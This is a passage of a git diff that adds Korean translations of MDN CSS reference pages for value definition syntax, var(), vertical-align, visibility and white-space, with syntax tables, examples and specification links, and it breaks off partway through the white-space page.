+   <td>구성 요소가 필수이고 순서에 따라 나타나야 함</td>
+   <td><code>solid &lt;length&gt;</code></td>
+  </tr>
+  <tr>
+   <td><code>&amp;&amp;</code></td>
+   <td>이중 앰퍼샌드</td>
+   <td>구성 요소가 필수이지만 순서에 무관함</td>
+   <td><code>&lt;length&gt; &amp;&amp; &lt;string&gt;</code></td>
+  </tr>
+  <tr>
+   <td><code>||</code></td>
+   <td>이중 바</td>
+   <td>구성 요소가 하나 이상 나타나야 하고 순서에 무관함</td>
+   <td><code>&lt;'border-image-outset'&gt; || &lt;'border-image-slice'&gt;</code></td>
+  </tr>
+  <tr>
+   <td><code>|</code></td>
+   <td>단일 바</td>
+   <td>구성 요소가 정확히 하나만 나타나야 함</td>
+   <td><code>smaller | small | normal | big | bigger</code></td>
+  </tr>
+  <tr>
+   <td><code>[ ]</code></td>
+   <td>대괄호</td>
+   <td>우선순위를 우회하기 위해 구성 요소를 묶음</td>
+   <td><code>bold [ thin &amp;&amp; &lt;length&gt; ]</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">배수</th>
+  </tr>
+  <tr>
+   <td></td>
+   <td>배수 없음</td>
+   <td>정확히 한 번</td>
+   <td><code>solid</code></td>
+  </tr>
+  <tr>
+   <td><code>*</code></td>
+   <td>별표</td>
+   <td>0회 이상</td>
+   <td><code>bold smaller*</code></td>
+  </tr>
+  <tr>
+   <td><code>+</code></td>
+   <td>더하기</td>
+   <td>1회 이상</td>
+   <td><code>bold smaller+</code></td>
+  </tr>
+  <tr>
+   <td><code>?</code></td>
+   <td>물음표</td>
+   <td>0회 또는 1회 (선택 사항)</td>
+   <td><code>bold smaller?</code></td>
+  </tr>
+  <tr>
+   <td><code>{A,B}</code></td>
+   <td>중괄호</td>
+   <td>최소 <code>A</code>회, 최대 <code>B</code>회</td>
+   <td><code>bold smaller{1,3}</code></td>
+  </tr>
+  <tr>
+   <td><code>#</code></td>
+   <td>해시</td>
+   <td>1회 이상, 단 쉼표로 구분</td>
+   <td><code>bold smaller#</code></td>
+  </tr>
+  <tr>
+   <td><code>!</code></td>
+   <td>느낌표</td>
+   <td>그룹이 적어도 하나의 값을 생성해야 함</td>
+   <td><code>[ bold? smaller? ]!</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Values", "#value-defs", "Value definition syntax")}}</td>
+   <td>{{Spec2("CSS3 Values")}}</td>
+   <td>Adds the hash mark multiplier.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "about.html#value-defs", "Value definition syntax")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Adds the double ampersand combinator.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1", "#notation-for-property-values", "Value definition syntax")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/var()/index.html b/files/ko/web/css/var()/index.html
new file mode 100644
index 0000000000..49dd9ffb37
--- /dev/null
+++ b/files/ko/web/css/var()/index.html
@@ -0,0 +1,99 @@
+---
+title: var()
+slug: Web/CSS/var()
+tags:
+  - CSS
+  - CSS Custom Properties
+  - CSS Function
+  - CSS Variable
+  - CSS 변수
+  - Experimental
+  - Reference
+translation_of: Web/CSS/var()
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>var()</code></strong> 함수는 <a href="/ko/docs/Web/CSS/--*">사용자 지정 속성</a>, 또는 "CSS 변수"의 값을 다른 속성의 값으로 지정할 때 사용합니다.</span></p>
+
+<pre class="brush: css line-numbers  language-css no-line-numbers"><code class="language-css">var(--header-color, blue);</code></pre>
+
+<p><code>var()</code> 함수는 값이 아닌 속성 이름, 선택자 등 다른 곳에 사용할 수 없습니다. 시도할 경우 유효하지 않은 구문이 되거나, 변수와 관계없는 값이 됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p>첫 번째 인수는 값을 가져올 사용자 지정 속성의 이름입니다. 선택적으로 제공할 수 있는 두 번째 인수는 대체값으로, 대상 사용자 지정 속성이 유효하지 않은 경우 대신 사용합니다.</p>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<div class="note">
+<p><strong>참고:</strong> 대체값 구문은 사용자 지정 속성 구문과 동일하게 쉼표를 허용합니다. 그러므로 <code>var(--foo, red, blue)</code>의 대체값은 쉼표까지 포함한 <code>red, blue</code>입니다. 말하자면 첫 번째 쉼표의 뒤쪽은 모두 대체값이 되는 것입니다.</p>
+</div>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;custom-property-name&gt;</code></dt>
+ <dd>두 개의 대시로 시작하는, 사용자 지정 속성의 이름을 나타내는 식별자.</dd>
+ <dt><code>&lt;declaration-value&gt;</code></dt>
+ <dd>현재 맥락에서, 주어진 사용자 지정 속성이 유효하지 않으면 대신 사용할 대체값. 새 줄, 짝 없이 닫는 괄호(<code>)</code>, <code>]</code>, <code>}</code>) 세미콜론, 느낌표 등 특별한 의미를 가진 문자를 제외한 모든 문자를 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">:root {
+  --main-bg-color: pink;
+}
+
+body {
+  background-color: var(--main-bg-color);
+}
+</pre>
+
+<pre class="brush: css">/* Fallback */
+/* In the component’s style: */
+.component .header {
+  color: var(--header-color, blue); /* header-color isn’t set, and so remains blue, the fallback value */
+}
+
+.component .text {
+  color: var(--text-color, black);
+}
+
+/* In the larger application’s style: */
+.component {
+  --text-color: #080;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Variables', '#using-variables', 'var()')}}</td>
+   <td>{{Spec2('CSS3 Variables')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.custom-property.var")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("env","env(…)")}} – 사용자 에이전트가 통제하는 읽기 전용 환경 변수.</li>
+ <li><a href="/ko/docs/Web/CSS/Using_CSS_variables">CSS 변수 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/css/vertical-align/index.html b/files/ko/web/css/vertical-align/index.html
new file mode 100644
index 0000000000..7e718efc4d
--- /dev/null
+++ b/files/ko/web/css/vertical-align/index.html
@@ -0,0 +1,246 @@
+---
+title: vertical-align
+slug: Web/CSS/vertical-align
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/vertical-align
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>vertical-align</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> 속성은 inline 또는 table-cell box에서의 수직 정렬을 지정합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* keyword values */
+vertical-align: baseline;
+vertical-align: sub;
+vertical-align: super;
+vertical-align: text-top;
+vertical-align: text-bottom;
+vertical-align: middle;
+vertical-align: top;
+vertical-align: bottom;
+
+/* &lt;length&gt; values */
+vertical-align: 10em;
+vertical-align: 4px;
+
+/* &lt;percentage&gt; values */
+vertical-align: 20%;
+
+/* Global values */
+vertical-align: inherit;
+vertical-align: initial;
+vertical-align: unset;
+</pre>
+
+<p>vertical-align 속성은 두 컨텍스트에서 사용될 수 있습니다:</p>
+
+<ul>
+ <li>엘리먼트의 box를 이것이 포함된 line box 내부에서 수직 정렬하고자 할 때. 예를 들어서, {{HTMLElement("img")}} 엘리먼트를 텍스트 엘리먼트의 라인 속에서 정렬할 때 쓰일 수 있습니다:</li>
+</ul>
+
+<div id="vertical-align-inline">
+<pre class="hidden brush: html">&lt;p&gt;
+top:&lt;img style="vertical-align:top" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+middle:&lt;img style="vertical-align:middle" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+bottom:&lt;img style="vertical-align:bottom" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+super:&lt;img style="vertical-align:super" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+sub:&lt;img style="vertical-align:sub" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+&lt;/p&gt;
+&lt;p&gt;
+text-top:&lt;img style="vertical-align:text-top" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+text-bottom:&lt;img  style="vertical-align:text-bottom" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+0.2em:&lt;img style="vertical-align:0.2em" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+-1em:&lt;img  style="vertical-align:-1em" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+20%:&lt;img style="vertical-align:20%" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+-100%:&lt;img  style="vertical-align:-100%" src="https://mdn.mozillademos.org/files/15189/star.png"/&gt;
+&lt;/p&gt;
+
+</pre>
+
+<pre class="hidden brush: css">#* {
+  box-sizing: border-box;
+}
+
+img {
+  margin-right: 0.5em;
+}
+
+p {
+  height: 3em;
+  padding: 0 .5em;
+  font-family: monospace;
+  text-decoration: underline overline;
+  margin-left: auto;
+  margin-right: auto;
+  width: 80%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("vertical-align-inline", 1200, 120, "", "", "example-outcome-frame")}}</p>
+
+<ul>
+ <li>table의 한 셀에서 포함하고 있는 내용을 수직 정렬할 때:</li>
+</ul>
+
+<div id="vertical-align-table">
+<pre class="hidden brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td style="vertical-align: baseline"&gt;baseline&lt;/td&gt;
+    &lt;td style="vertical-align: top"&gt;top&lt;/td&gt;
+    &lt;td style="vertical-align: middle"&gt;middle&lt;/td&gt;
+    &lt;td style="vertical-align: bottom"&gt;bottom&lt;/td&gt;
+    &lt;td&gt;
+      &lt;p&gt;There is a theory which states that if ever anyone discovers exactly what the Universe is for and why it is here, it will instantly disappear and be replaced by something even more bizarre and inexplicable.&lt;/p&gt;
+&lt;p&gt;There is another theory which states that this has already happened.&lt;/p&gt;
+    &lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+</pre>
+
+<pre class="hidden brush: css">table {
+  margin-left: auto;
+  margin-right: auto;
+  width: 80%;
+}
+
+table, th, td {
+  border: 1px solid black;
+}
+
+td {
+  padding: 0.5em;
+  font-family: monospace;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("vertical-align-table", 1200, 210, "", "", "example-outcome-frame")}}</p>
+
+<p><code>vertical-align은 오로지 inline과 table-cell 엘리먼트에만 적용된다는 것에 주의하세요: 이 속성을</code> <a href="/en-US/docs/Web/HTML/Block-level_elements">block level 엘리먼트</a>에 사용할 수 없습니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<p>이 속성은 아래의 키워드들로 지정됩니다.</p>
+
+<h3 id="Values_(inline_elements에서)">Values (inline elements에서)</h3>
+
+<p><em>주로 부모 엘리먼트에 대하여 상대적으로 수직정렬하는 값들:</em></p>
+
+<dl>
+ <dt><code>baseline</code></dt>
+ <dd>부모의 baseline에 맞추어 해당 엘리먼트의 baseline 을 정렬합니다.  몇몇 <a href="/en-US/docs/Web/CSS/Replaced_element">replaced elements</a>의 베이스라인은 예를들면{{HTMLElement("textarea")}}은 HTML 명세에 정의되어 있지 않으므로, 이 키워드는 브라우저마다 다른 결과를 보여줍니다.</dd>
+ <dt><code>sub</code></dt>
+ <dd>해당 엘리먼트의 baseline을 부모의 subscript-baseline으로 정렬합니다.</dd>
+ <dt><code>super</code></dt>
+ <dd>해당 엘리먼트의 baseline을 부모의 superscript-baseline으로 정렬합니다.</dd>
+ <dt><code>text-top</code></dt>
+ <dd>해당 엘리먼트의 top을 부모 엘리먼트 폰트의 top으로 정렬합니다.</dd>
+ <dt><code>text-bottom</code></dt>
+ <dd>해당 엘리먼트의 bottom을 부모 엘리먼트 폰트의 bottom으로 정렬합니다.</dd>
+ <dt><code>middle</code></dt>
+ <dd>해당 엘리먼트의 middle을 부모의 baseline + x-height / 2 로 정렬합니다.</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>해당 엘리먼트의 baseline을 부모의 baseline에서 주어진 길이만큼 위로 정렬합니다.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>&lt;length&gt; value와 마찬가지로 해당 엘리먼트의 baseline을 부모의 baseline에서 {{Cssxref("line-height")}}의 퍼센트로 주어진 퍼센트만큼 위로 정렬합니다.</dd>
+</dl>
+
+<p>(&lt;length&gt; 와 &lt;percentage&gt;에 대해서 음수 값이 허용됩니다.)</p>
+
+<p><em>다음 두 value는 부모가 아닌 전체 라인에 대해,수직정렬하는 값입니다:</em></p>
+
+<dl>
+ <dt><code>top</code></dt>
+ <dd>해당 엘리먼트의 top과 이것의 자손들의 top을 전체 라인의 top으로 정렬합니다.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>해당 엘리먼트의 bottom과 이것의 자손들의 bottom을 전체 라인의 bottom으로 정렬합니다.</dd>
+</dl>
+
+<p>Baseline이 없는 엘리먼트에 대해서는 bottom margin edge가 baseline을 대신하여 사용됩니다.</p>
+
+<h3 id="Values_(table_cells에서)">Values (table cells에서)</h3>
+
+<dl>
+ <dt><code>baseline</code> (<code>sub</code>, <code>super</code>, <code>text-top</code>, <code>text-bottom</code>, <code>&lt;length&gt;</code>, <code>&lt;percentage&gt;</code>)</dt>
+ <dd> 셀의 baseline을 같은 행의 다른 cell들의 baseline과 정렬합니다. </dd>
+ <dt><code>top</code></dt>
+ <dd>셀의 top padding edge를 행의 top으로 정렬합니다.</dd>
+ <dt><code>middle</code></dt>
+ <dd>셀의  padding box의 중심을 행에서 중앙 정렬합니다.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>셀의 bottom padding edge를 행의 bottom으로 정렬합니다.</dd>
+</dl>
+
+<p>음수 값이 허용됩니다.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;An &lt;img src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt; image with a default alignment.&lt;/div&gt;
+&lt;div&gt;An &lt;img class="top" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt; image with a text-top alignment.&lt;/div&gt;
+&lt;div&gt;An &lt;img class="bottom" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt; image with a text-bottom alignment.&lt;/div&gt;
+&lt;div&gt;An &lt;img class="middle" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt; image with a middle alignment.&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">img.top { vertical-align: text-top; }
+img.bottom { vertical-align: text-bottom; }
+img.middle { vertical-align: middle; }
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'vertical-align')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>vertical-align</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#propdef-vertical-align', 'vertical-align')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Add the {{cssxref("&lt;length&gt;")}} value and allows it to be applied to element with a {{cssxref("display")}} type of <code>table-cell</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#vertical-align', 'vertical-align')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.vertical-align")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("line-height")}}, {{Cssxref("text-align")}}, {{Cssxref("margin")}}</li>
+ <li><a href="http://phrogz.net/css/vertical-align/index.html">Understanding <code>vertical-align</code>, or "How (Not) To Vertically Center Content"</a></li>
+ <li><a href="http://christopheraue.net/2014/03/05/vertical-align/">All You Need To Know About Vertical-Align</a></li>
+</ul>
diff --git a/files/ko/web/css/visibility/index.html b/files/ko/web/css/visibility/index.html
new file mode 100644
index 0000000000..67f982daea
--- /dev/null
+++ b/files/ko/web/css/visibility/index.html
@@ -0,0 +1,176 @@
+---
+title: visibility
+slug: Web/CSS/visibility
+tags:
+  - CSS
+  - CSS Box Model
+  - CSS Property
+  - Layout
+  - Reference
+  - Web
+translation_of: Web/CSS/visibility
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>visibility</code></strong> CSS 속성은 문서의 레이아웃을 변경하지 않고 요소를 보이거나 숨깁니다.</span> <code>visibility</code>로 {{htmlelement("table")}}의 행이나 열을 숨길 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/visibility.html")}}</div>
+
+
+
+<p>문서를 숨기고, <strong>레이아웃에서도 제외</strong>하려면, <code>visibility</code>를 사용하는 대신 {{cssxref("display")}} 속성을 <code>none</code>으로 설정하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">/* 키워드 값 */
+visibility: visible;
+visibility: hidden;
+visibility: collapse;
+
+/* 전역 값 */
+visibility: inherit;
+visibility: initial;
+visibility: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>요소가 보임.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>요소가 숨겨짐(그려지지 않음). 레이아웃에는 숨겨지지 않았을 때와 동일한 영향을 줍니다. <code>visibility</code>를 <code>visible</code>로 설정한 자손은 화면에 보입니다. 숨겨진 요소는 포커스(<a href="/ko/docs/Web/HTML/Global_attributes/tabindex">탭 인덱스</a>로 탐색 등)를 받을 수 없습니다.</dd>
+ <dt><code>collapse</code></dt>
+ <dd>
+ <ul>
+  <li>{{HTMLElement("table")}}의 행, 열, 행 그룹과 열 그룹에 적용하면 {{cssxref("display")}}를 <code>none</code>으로 설정한 것과 동일하게 요소를 숨기고 차지하던 공간도 제거합니다. 그러나 다른 행(열)의 크기는 <code>collapse</code>를 적용한 행(열)이 보이는 것 처럼 취급해 계산합니다. 따라서 표의 너비나 높이의 재계산 없이 빠르게 행이나 열을 제거할 수 있습니다.</li>
+  <li>플렉스 아이템에 적용하면 요소를 숨기고 차지하던 공간도 제거합니다.</li>
+  <li><a href="/ko/docs/Mozilla/Tech/XUL">XUL</a> 요소에 적용하면 다른 스타일과 관계 없이 크기의 계산값으로 항상 0을 사용합니다. 그러나 {{cssxref("margin")}}은 바뀌지 않습니다.</li>
+  <li>다른 요소에서는 <code>hidden</code>과 동일합니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="보간">보간</h2>
+
+<p>가시성은 <strong>보여짐</strong>과 <strong>보이지 않음</strong> 사이에서 보간할 수 있습니다. 따라서 시작이나 종료 값이 <code>visible</code>이 아니면 보간할 수 없습니다. 가시성 값은 이산값을 사용하며 <code>0</code>은 <code>hidden</code>, <code>0</code> 초과 <code>1</code> 이하의 모든 값은 <code>visible</code>에 맵핑됩니다. 범위 밖의 값(<code>cubic-bezier()</code> 함수의 y값이 [0, 1]을 벗어날 때만 트랜지션의 시작과 종료 시 발생)은 <code>0</code>과 <code>1</code> 중 더 가까운 값으로 취급합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p class="visible"&gt;첫 번째 문단은 보입니다.&lt;/p&gt;
+&lt;p class="not-visible"&gt;두 번째 문단은 보이지 않습니다.&lt;/p&gt;
+&lt;p class="visible"&gt;세 번째 문단은 보입니다. 두 번째 문단이 여전히 공간을 차지하고 있어요.&lt;/p&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.visible {
+  visibility: visible;
+}
+
+.not-visible {
+  visibility: hidden;
+}
+</pre>
+
+<p>{{EmbedLiveSample('기본_예제')}}</p>
+
+<h3 id="표_예제">표 예제</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;1.1&lt;/td&gt;
+    &lt;td class="collapse"&gt;1.2&lt;/td&gt;
+    &lt;td&gt;1.3&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr class="collapse"&gt;
+    &lt;td&gt;2.1&lt;/td&gt;
+    &lt;td&gt;2.2&lt;/td&gt;
+    &lt;td&gt;2.3&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;3.1&lt;/td&gt;
+    &lt;td&gt;3.2&lt;/td&gt;
+    &lt;td&gt;3.3&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.collapse {
+  visibility: collapse;
+}
+
+table {
+  border: 1px solid red;
+}
+
+td {
+  border: 1px solid gray;
+}
+</pre>
+
+<p>{{EmbedLiveSample('표_예제')}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>visibility</code> 값을 <code>hidden</code>으로 설정한 요소는 <a href="/ko/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">접근성 트리</a>에서 제외됩니다. 즉 해당 요소와, 그 모든 자손 요소는 스크린 리더가 읽지 않습니다.</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>일부 현대 브라우저에서는 <code>visibility: collapse</code>를 지원하지 않거나 잘못 지원합니다. 따라서 표의 행과 열이 아닌 요소에 사용했을 때 <code>visibility: hidden</code>과 똑같이 취급하지 않을 수도 있습니다.</li>
+ <li><code>visibility: collapse</code>를 적용한 칸에 중첩해서 다른 표가 존재하면 바깥 표의 레이아웃이 바뀔 수도 있습니다. 이를 방지하려면 중첩된 표에 <code>visibility: visible</code>을 명시해야 합니다.</li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#visibility-collapse', 'visibility')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Defines the <code>collapse</code> value as it applies to flex items.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#visibility-prop', 'visibility')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>No changes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'visibility')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>visibility</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visufx.html#visibility', 'visibility')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.visibility")}}</p>
diff --git a/files/ko/web/css/white-space/index.html b/files/ko/web/css/white-space/index.html
new file mode 100644
index 0000000000..21edd07317
--- /dev/null
+++ b/files/ko/web/css/white-space/index.html
@@ -0,0 +1,242 @@
+---
+title: white-space
+slug: Web/CSS/white-space
+tags:
+  - CSS
+  - CSS Property
+  - CSS Text
+  - Reference
+translation_of: Web/CSS/white-space
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS <strong><code>white-space</code></strong> 속성은 요소가 공백 문자를 처리하는 법을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/white-space.html")}}</div>
+
+
+
+<div class="note">
+<p><strong>참고:</strong> 단어 안에서 줄이 바뀌기를 원하는 경우 {{CSSxRef("overflow-wrap")}}, {{CSSxRef("word-break")}}, {{CSSxRef("hyphens")}}를 사용하세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* Keyword values */
+white-space: normal;
+white-space: nowrap;
+white-space: pre;
+white-space: pre-wrap;
+white-space: pre-line;
+white-space: break-spaces;
+
+/* Global values */
+white-space: inherit;
+white-space: initial;
+white-space: unset;
+</pre>
+
+<p><code>white-space</code> 속성은 다음 목록의 키워드 값 중 하나를 사용해 설정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>연속 공백을 하나로 합침. 개행 문자도 다른 공백 문자와 동일하게 처리합니다. 한 줄이 너무 길어서 넘칠 경우 자동으로 줄을 바꿉니다.</dd>
+ <dt><code>nowrap</code></dt>
+ <dd>연속 공백을 하나로 합침. 줄 바꿈은 {{htmlelement("br")}} 요소에서만 일어납니다.</dd>
+ <dt><code>pre</code></dt>
+ <dd>연속 공백 유지. 줄 바꿈은 개행 문자와 {{htmlelement("br")}} 요소에서만 일어납니다.</dd>
+ <dt><code>pre-wrap</code></dt>
+ <dd>연속 공백 유지. 줄 바꿈은 개행 문자와 {{htmlelement("br")}} 요소에서 일어나며, 한 줄이 너무 길어서 넘칠 경우 자동으로 줄을 바꿉니다.</dd>
+ <dt><code>pre-line</code></dt>
+ <dd>연속 공백을 하나로 합침. 줄바꿈은 개행 문자와 {{htmlelement("br")}} 요소에서 일어나며, 한 줄이 너무 길어서 넘칠 경우 자동으로 줄을 바꿉니다.</dd>
+ <dt><code>break-spaces</code></dt>
+ <dd>다음 차이점을 제외하면 <code>pre-wrap</code>과 동일합니다.
+ <ul>
+  <li>연속 공백이 줄의 끝에 위치하더라도 공간을 차지합니다.</li>
+  <li>연속 공백의 중간과 끝에서도 자동으로 줄을 바꿀 수 있습니다.</li>
+  <li>유지한 연속 공백은 <code>pre-wrap</code>과 달리 요소 바깥으로 넘치지 않으며, 공간도 차지하므로 박스의 본질 크기(<code>min-content</code>, <code>max-content</code>)에 영향을 줍니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<p>다음은 여러가지 <code>white-space</code> 값의 동작을 정리한 표입니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th></th>
+   <th>개행 문자</th>
+   <th>스페이스, 탭</th>
+   <th>자동 줄 바꿈</th>
+   <th>줄 끝의 공백</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th><code>normal</code></th>
+   <td>병합</td>
+   <td>병합</td>
+   <td>예</td>
+   <td>제거</td>
+  </tr>
+  <tr>
+   <th><code>nowrap</code></th>
+   <td>병합</td>
+   <td>병합</td>
+   <td>아니오</td>
+   <td>제거</td>
+  </tr>
+  <tr>
+   <th><code>pre</code></th>
+   <td>유지</td>
+   <td>유지</td>
+   <td>아니오</td>
+   <td>유지</td>
+  </tr>
+  <tr>
+   <th><code>pre-wrap</code></th>
+   <td>유지</td>
+   <td>유지</td>
+   <td>예</td>
+   <td>넘침</td>
+  </tr>
+  <tr>
+   <th><code>pre-line</code></th>
+   <td>유지</td>
+   <td>병합</td>
+   <td>예</td>
+   <td>제거</td>
+  </tr>
+  <tr>
+   <th><code>break-spaces</code></th>
+   <td>유지</td>
+   <td>유지</td>
+   <td>예</td>
+   <td>줄 바꿈</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<pre class="brush: css">code {
+  white-space: pre;
+}</pre>
+
+<h3 id="HTMLElementpre_요소_내부의_줄_바꿈">{{HTMLElement("pre")}} 요소 내부의 줄 바꿈</h3>
+
+<pre class="brush: css">pre {
+  word-wrap: break-word;      /* IE 5.5-7 */
+  white-space: pre-wrap;      /* current browsers */
+}</pre>
+
+<h2 id="실제로_보기">실제로 보기</h2>
+
+<div class="hidden" id="See_it_in_action_LiveSample">
+<pre class="brush: html">&lt;div id="css-code" class="box"&gt;
+  p { white-space:
+  &lt;select&gt;
+    &lt;option&gt;normal&lt;/option&gt;
+    &lt;option&gt;nowrap&lt;/option&gt;
+    &lt;option&gt;pre&lt;/option&gt;
+    &lt;option&gt;pre-wrap&lt;/option&gt;
+    &lt;option&gt;pre-line&lt;/option&gt;
+    &lt;option&gt;break-spaces&lt;/option&gt;
+  &lt;/select&gt; }
+&lt;/div&gt;
+&lt;div id="results" class="box"&gt;
